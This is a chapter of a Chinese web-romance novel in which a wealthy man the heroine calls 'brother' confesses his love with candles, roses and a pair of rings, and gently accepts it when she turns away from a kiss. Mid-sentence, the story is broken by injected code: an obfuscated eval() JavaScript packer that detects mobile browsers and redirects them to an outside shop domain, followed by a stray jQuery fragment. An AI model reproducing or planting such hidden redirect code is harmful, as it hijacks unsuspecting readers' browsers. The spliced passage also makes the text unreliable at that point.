落日将坠,整个城市陷入了一片余色温柔的橘红。
迈巴赫泊在楼下,后座的车窗半开着,蒋怀谦膝上摊着一份文件坐在那里,修长的手指捏着页脚,垂落的眉目沉静。
他每日都是一身体面齐整的英式西装,宽肩窄腰的定制剪裁,沿着自律的身材曲线一路贴合下去,裤长也恰好落在薄底皮鞋的鞋面上,不多不少。身姿由此更被衬得挺拔,又因温沉有定的气场,从头到脚,尽是财富与精英阶层经年堆叠出的儒贵风范。
司机从前座回过头,轻声提醒:“蒋总,小姐下来了。”
他抬眸,目光越过半开的车窗,落在大楼门口那道熟悉的身影上,随即把文件合上放在座位一侧,推开车门。
蒋怀谦长腿迈出后站定,朝着正走过来的蒋婧,张开了手臂。
不远处的蒋婧顿了顿,脸微微发热。
虽然以前这样的画面也并非没有出现过,但说定关系后,却总觉得少了份像以往那样的从容。
她快步走过去扑进他怀里,被他完全接住。
“想我没?”
温润磁性的声音从她头顶传来,蒋婧埋在他胸口,耳尖红透了,轻轻点了点头。
蒋怀谦手臂更紧地收拢,把她整个人圈进胸膛和手臂围成的空间里。
下巴抵在她发顶轻蹭时,他嗅到了她发丝间的甜香气,不由得眷恋地深深地吸了一口气。
“想我了怎么回消息还总是这么慢。”
蒋婧用额头拱了拱她,无言地消解他话里小小的责备。
看起来效果很不错,蒋怀谦淡笑起来,沉醉地闭上眼,声音低柔缱绻:“我好想你,就算知道晚上就能见面,还是想你。”
蒋婧还是有些不太习惯地攥紧了他的西装,撒娇一样扯来扯去。
哥哥说肉麻话的能力好像一下子冲破了封印,张口就来,让她不知道该怎么回应。她本来就不是很能直白表达的性格。
腻歪过了好一会儿,他才笑着松开她,手掌落在她肩上,轻轻往车边带:“上车吧。”
车门关上,隔绝了外面的喧嚣。
“今天在斯承家做什么了?”
蒋婧靠在椅背上,心情不错地说道:“看兔子!”
“兔子?”
“嗯!斯承哥哥买了一只荷兰侏儒兔,特别特别、特别可爱!”
蒋怀谦看着她灿烂的笑颜,目光微微顿沉了一下,语气听不出什么情绪地问道:“这么喜欢?”
“嗯,真的超可爱。”她没察觉,还在说着:“它都不让斯承哥哥摸,但后来却愿意让我摸,还吃我喂的草。都怪斯承哥哥养得太糙了,笼子那么小,什么玩具都没有。我不忍心让它过得这么可怜,就扶助了一下。”
他听着,手指在膝上轻轻点了一下,慢条斯理地问:“那你想不想也养一只?”
蒋婧表情淡下来,转头看他。
他正看着她,眼神平静,唇角还带着一点淡淡的笑意。但她莫名觉得那笑意里有什么别的东西。
她摇摇头:“不了。”
蒋怀谦的手抬起来,落在她发顶轻轻揉了揉,没问为什么。
车流走走停停,窗外的暮色越来越浓,城市灯火陆续亮起来,像洒在暗蓝色丝绒上的碎钻。
跨区来接人,又是傍晚的高峰时间,车堵在三环上,寸步难行。
蒋怀谦的目光从车窗外收回,落在她脸上。
她侧脸的轮廓被流动的光勾得柔和,感知到了他的视线,也眸光明亮地转过来看他。
暧昧的潮流从四面八方涌进来,在拉长了时间的对视中,将他们笼到了一个同频共振的氛围之中。
“李司机,挡板升一下。”
他低缓落下的声音带上了隐晦不明的沙哑。
一声轻微的机械响动,前后座之间缓缓升起一道隔断,两人同处的密闭空间更静了。
蒋怀谦慢慢倾过身,用食指指背摩挲了几下她额鬓,眼神攫取住她的嘴唇,手掌游走到她的脑后轻柔贴合,往自己身前带。
冷冽的雪松气息与似花似果的甜香味儿交融在一起。
蒋婧长睫毛像蝴蝶振翅一下眨了两下,盯着他的眼睛,心跳疯狂地跳起来,只觉得脸颊烫得像烧起来。
他的眉眼越来越近。
将触未触之际,她突然偏开了头,让他的吻只落在了半空。
蒋婧攥着衣角的手指节都发白了,望着他眼里淡淡的错愕,转开头,低头结结巴巴地解释:“我、我还没有准备好。”
不是没有想过亲吻,但是好突兀。
太快了,一点都没有铺垫好的浪漫氛围。
太近了,一下子又分不清是哥哥是...
哎,她不知道该怎么说。
蒋怀谦温热干燥的手包裹住她的手,柔和地化开了她紧攥的力道,大拇指伸进她的拳心安抚地捏了捏。
“好。那就等你准备好。”
蒋婧再次抬起眼。
他仍把握着她的手,只是坐直了身子,和她保持着一点克制的距离,看着她的目光已经褪去了方才那片暗涌的潮,重新变得温柔。
*
车子驶入硅谷竞翠园区,在静奢的独墅前停稳。
蒋婧靠在椅背上,还有些恍惚。方才那点旖旎像一层散不开的雾,弥留在心头,让她觉得和哥哥呆在一起竟有些手足无措。
可原本不应该这样,朝夕相处了那么多年,怎么还会产生这样微妙的陌生体验。
蒋怀谦先下了车,绕过来替她拉开车门,伸出手掌,等她犹豫片刻搭进自己的手心,耐心放慢脚步,牵着她走过石板径道,踏过一级一级的台阶。
别墅的门被他推开,蒋婧看着他转过来含笑的眼睛,一时半会有些发愣,懵懵地看过去。
里头虽没有开灯,但数不清有多少盏在玻璃罩中燃烧着的蜡烛,高的矮的粗的细的,从玄关开始一路蔓延进去,像一条发光的河,将整个空间染成暖金色。
并且到处都是粉色的玫瑰,弥漫出满室馥郁的香气。
花瓣厚厚一层铺在路中,把地面装饰得宛如一层柔软的云霞。两侧,精心搭配的花束团团相簇,被装在藤编陶瓷容器里,错落有致地摆放着。
再往里走,无数只奢牌名下的兔子玩偶端坐在各个地方,背靠着堆成山的礼物盒,长耳朵上都绑着一个飘飞的爱心气球。
“你什么时候弄的呀?”
“喜欢吗?”
她用力点头,说不出话。
花是她喜欢的,烛光的颜色她喜欢,小兔绑气球送礼物的创意也是她喜欢的!
蒋婧的眼眶有些热,继续往前走,穿过花墙的尽头,客厅中央豁然开朗。
那里有一束巨大的花束,大到感觉两个茶几拼在一起,也没有它大。
那些玫瑰密密麻麻地挤在一起,花瓣层层叠叠,每一朵都开得妍丽鲜好。
她看了很久,才对着站在身边静静不言的人说道:“这个花好大。”
“我从来没有收到过这么大的花。”
蒋婧眼睛在烛光里亮亮的,映着满室的花和光,问道:“有多少朵呀?”
“九千九百九十九朵。”
他看着她,目光是化开的春水。
蒋婧“唔”了一声,走过来牵住他的手掌晃了晃,羞涩地小声说了句“谢谢”。
“不用说谢谢,”蒋怀谦笑了一下,牵着她往餐厅走,语气平淡却字字郑重“这本就是我该做的。哥哥有时候总觉得,对你的心意攒了太多,从前那些年没机会、也没立场说出口,如今你肯给我这个身份,我自然要趁早告诉你,我有多想让你更开心。”
蒋婧没接话,低头看着地面,不想让他看到自己有了水意的眼睛,被牵住的那只手却悄悄回握了一下他的手指。
“饿了吧?先用餐。”
“嗯。”
长桌也被布置得美轮美奂,白桌布,银餐具,水晶杯,一整束垂落下来的做成月亮形状的粉玫瑰,从吊灯上倾泻而下。
餐桌上的烛光透过水晶台,折射出细碎光点,落在各处,也落在了她的眼里和心里。
晚餐很丰盛,每一道菜都精致得像艺术品。但她却有些心不在焉。
或许也不是心不在焉,是心太满了,一下子不知如何是好。
悬垂的玫瑰在摇曳,烛光跳动,她偶尔抬头看他,他总是在看她。
一切都浪漫得像偶像剧里才会出现的画面。
餐后,甜点撤下去。哥哥站起身,走到她面前,让那种陌生的心跳加快到想闪躲的体验又席卷而来。
她连忙低下头去平缓呼吸,她知道哥哥要做什么了,一切都是按照她提前说好的在进行着,预料之中的事,却为何还是这样让她有了措手不及的紧张。
再抬头时,他手里多了一个戒指盒。
丝绒盒打开,一对钻戒安然成列。男款
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726772|208309||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
低调素净,只在圈壁内侧镶了一颗细钻;女款则极尽华美,中央一颗收藏级的一克拉主石莹莹生辉,周围密密嵌着数十颗碎钻,晶亮夺目。
蒋婧惊讶了一瞬,天然呆地看着那枚戒指好一会儿,忽然歪头脱口而出:“可是,电视剧里告白的时候一般不送戒指的。”
蒋怀谦眼里闪过讶异,然后笑容从眼底漾开,漫上眉梢,最后整张脸都亮起来。
他沦陷地注视着她,像在看着什么极可爱的、极珍贵的、极让人心软的东西。
“那送什么?”他轻轻地问,如同在哄一个说梦话的小朋友。
她张了张嘴,说不上来,回神时看到他手持戒指盒在自己面前单膝跪下来,立马捂住嘴,又紧急去托他:“干干干干嘛啊!”
他打开戒指盒,把那枚钻石举到她面前,笑道:“放心,这不是求婚。”
“只是想要和你有一个定情信物。”
蒋怀谦举起那枚戒指,仰着头,目光直直地落在她眼睛里。
“婧儿,哥哥说喜欢你,听来或许荒唐,但我的的确确喜欢你,喜欢很久了,从你还不知道什么叫喜欢的时候,我就开始喜欢你了。”
“我不想你最后走向别人,让别人来护你周全。任何人,我都放不了心,也不甘心。哥哥想亲自守着你,以爱人的名义,名正言顺地陪在你身边,花一生的时间用心爱你,你愿意吗?”
“一、一生?”
以前没有过这方面的经验,蒋婧宕机了好一会儿,接不住他的话,只能对他情深意切的发言再次提出质疑:“你为什么告白说得好像在求婚一样,我没看过这样的剧本,不知道怎么回你....”
“是有这个打算。不过这份剧本什么时候你准备好了,我们什么时候再往下翻。不急。”
他仍旧只是笑,取出戒指,托起她的手,把繁复华美的戒指套进她的长指,大小刚刚好。
另一枚简约质朴的素圈,他也拿出递到她手里,然后张开了自己的手指,望着她说道:“怎么这副表情?骑虎难下了?还是说,你其实没那么认真,就是闹着玩的?”
蒋婧当场被戳中了三分心虚,非条件反射地挺直背:“哪有!”
他最晓得怎么激她,果然见她虚势地一言后,然后彰显自己的胆量似的拿过了戒指。
蒋婧能看见他眼里自己的倒影,暗自想象着他把一颗心收回去又捧出来的感受。
对望良久,她深吸了一口气,把胸腔里那些乱七八糟的慌乱给压了下去,低头拿起那枚素圈,指腹在光滑的戒面上轻轻蹭了一下,小手轻轻托住他的左手。
他的手很大,骨节分明,修长干净,十分好看。这双手,她再熟悉不过,从小牵着她走路,替她擦过眼泪,在她做噩梦的夜里轻轻拍过她的背。
有生以来的每一天,他都陪在她的身边毫无保留地照顾她。可要是说一生,这样的承诺会不会给的太重。
蒋婧恍然觉得,自己的玩票心理在哥哥这份沉甸甸的真心面前,多少有些不大道德。
她捏着戒指的手指微微收紧了,迟迟没有推进去。
蒋怀谦等着,知道她在想什么。
他清醒却总是心软的小姑娘。
可是他等的从来都不是她准备好了,只要她先迈出那一步,哪怕只是出于好奇、出于冲动、出于被激将法逼出来的那点倔强,他都会把她稳稳接住。
“从前都是我牵你,今天轮到你牵我了。怎么,想反悔了?”
蒋婧抬头:"我没有……"
“那就帮我戴上。”他看着她,目光温温的,像春日午后落在水面上的光,"不管你是什么样的动机,认真的,不认真的,都算数。我都要。"
把话说得这么满,不留任何退路,蒋婧怔住,总觉得自己的小心思都被哥哥看破不说破。
蒋怀谦从来都是这样温和地、不动声色地、一步一步把棋盘摆好,然后笑着等她走进来,让她误以为是自己的选择。
戒指越过指节,落定到底。
蒋婧垂下眼,将那枚素圈抵上了他的指根。她没松手,就那么虚虚握着他的指尖,沉默了一会儿,才轻轻开口:“……我不知道我能喜欢多久。”
“但我们可以试试。”蒋怀谦反手把她的手拢进掌心,十指扣住,连着她刚推上去的那枚戒指一起握紧了,然后将她拥进了怀中。“我会做好一切,让你这位小考官,一直都满意,一直都喜欢,好不好?”